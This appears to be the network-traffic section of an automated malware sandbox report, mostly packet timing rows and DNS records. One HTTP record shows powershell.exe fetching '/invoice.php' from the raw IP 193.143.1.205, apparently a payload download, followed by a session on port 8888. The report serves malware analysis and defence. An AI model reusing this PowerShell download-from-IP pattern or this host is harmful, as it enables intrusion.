Jan 11, 2025 06:37:11.675949097 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.675985098 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.676731110 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.676742077 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.676794052 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.677537918 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.677556038 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.677589893 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.678319931 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.678338051 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.678368092 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.678985119 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.679028034 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.679034948 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.679812908 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.679830074 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.679860115 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.680500984 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.680598021 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.680609941 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.681267023 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.681299925 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.681363106 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.681957960 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.681974888 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.682010889 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.682663918 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.682703972 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.682719946 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.683353901 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.683373928 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.683406115 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.684071064 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.684092045 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.684118032 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.684711933 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.684724092 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.684736967 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.684772015 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.684772968 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.685713053 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.685724020 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.685734987 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.685770035 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.686734915 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.686745882 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.686757088 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.686775923 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.686801910 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.687680960 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.687691927 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.687704086 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.687730074 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.688620090 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.688631058 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.688644886 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.688657045 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.688682079 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.689570904 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.689583063 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.689594030 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.689624071 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.690376043 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.690387011 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.690397978 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.690427065 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.690440893 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.691270113 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.691307068 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.691323996 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.691346884 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.692173004 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.692184925 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.692198992 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.692214966 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.692239046 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.693001032 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.693012953 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.693026066 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.693048954 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.693798065 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.693809032 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.693820953 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.693845034 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.693871021 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.694559097 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.694571018 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.694582939 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.694612980 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.695281029 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.695292950 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.695303917 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.695326090 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.695338011 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.696063995 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.696075916 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.696086884 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.696113110 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.696836948 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.696849108 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.696861029 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.696886063 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.696907043 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.697570086 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.697582960 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.697594881 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.697623014 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.699460030 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.699480057 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.699500084 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.752172947 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.788660049 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.793840885 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.793859959 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.793868065 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.793940067 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.793946981 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.793953896 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.793961048 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.794094086 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.794790983 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.794804096 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.794816017 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.794830084 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.794843912 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.794874907 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.795598030 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.795610905 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.795623064 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.795634985 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.795640945 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.795664072 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.796479940 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.796497107 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.796510935 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.796523094 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.796534061 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.796562910 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.797291040 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.797302961 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.797314882 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.797327042 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.797338963 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.797377110 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.798129082 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.798141003 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.798154116 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.798170090 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.798176050 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.798218012 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.799021006 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.799032927 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.799043894 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.799055099 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.799069881 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.799809933 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.799822092 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.799833059 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.799843073 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.799844027 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.799869061 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.799880028 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.800695896 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.800709963 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.800719976 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.800731897 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.800739050 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.800765991 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.801481009 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.801491976 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.801502943 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.801513910 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.801523924 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.801553011 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.802328110 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.802340984 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.802351952 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.802364111 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.802377939 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.802405119 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.803138018 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.803158998 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.803169966 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.803181887 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.803184032 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.803211927 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.804078102 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.804116011 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.804138899 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.804151058 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.804152966 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.804174900 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.804866076 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.804877996 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.804893970 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.804908037 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.804936886 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.804941893 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.805717945 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.805730104 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.805741072 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.805753946 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.805763006 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.805784941 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.806555986 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.806574106 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.806585073 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.806596994 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.806603909 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.806626081 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.807493925 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.807507038 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.807518005 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.807532072 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.807543039 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.807584047 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.808111906 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.808125019 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.808144093 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.808154106 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.808166027 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.808166981 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.808182001 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.808209896 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.809035063 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.809052944 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.809065104 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.809076071 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.809082031 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.809092045 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.809118986 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.809879065 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.809896946 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.809909105 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.809919119 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.809930086 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.809933901 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.809957981 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.809967995 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.810785055 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.810802937 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.810817957 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.810828924 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.810842037 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.810842037 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.810859919 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.811584949 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.811635971 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.811664104 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.811676979 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.811687946 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.811698914 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.811718941 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.811742067 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.812426090 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.812438965 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.812448978 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.812478065 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.812496901 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.812510014 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.812542915 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.813256979 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.813268900 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.813281059 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.813304901 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.813327074 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.813380957 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.813393116 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.813405037 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.813429117 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.814198971 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.814208984 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.814220905 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.814235926 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.814256907 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.814269066 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.814276934 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.814282894 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.814307928 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.815262079 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.815274000 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.815284967 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.815295935 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.815310955 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.815321922 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.815334082 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.815336943 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.815359116 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.816131115 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.816150904 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.816168070 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.816174030 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.816179991 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.816195011 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.816206932 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.816211939 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.816232920 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.817032099 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.817053080 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.817092896 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.860987902 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:12.006035089 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:12.014317036 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:12.274756908 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:12.735670090 CET	49732	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:12.740561008 CET	8888	49732	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:12.740717888 CET	49732	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:12.741837025 CET	49732	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:12.746696949 CET	8888	49732	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:13.535572052 CET	8888	49732	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:13.580310106 CET	49732	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:15.025509119 CET	49732	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:25.767309904 CET	49184	53	192.168.2.4	1.1.1.1
Jan 11, 2025 06:37:25.772140980 CET	53	49184	1.1.1.1	192.168.2.4
Jan 11, 2025 06:37:25.772212982 CET	49184	53	192.168.2.4	1.1.1.1
Jan 11, 2025 06:37:25.777090073 CET	53	49184	1.1.1.1	192.168.2.4
Jan 11, 2025 06:37:26.309381962 CET	49184	53	192.168.2.4	1.1.1.1
Jan 11, 2025 06:37:26.314625025 CET	53	49184	1.1.1.1	192.168.2.4
Jan 11, 2025 06:37:26.314713955 CET	49184	53	192.168.2.4	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 06:37:25.666611910 CET	54063	53	192.168.2.4	1.1.1.1
Jan 11, 2025 06:37:25.760143995 CET	53	59731	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 06:37:25.666611910 CET	192.168.2.4	1.1.1.1	0x6551	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 06:37:25.673949957 CET	1.1.1.1	192.168.2.4	0x6551	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49731	193.143.1.205	80	2008	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:37:09.581497908 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
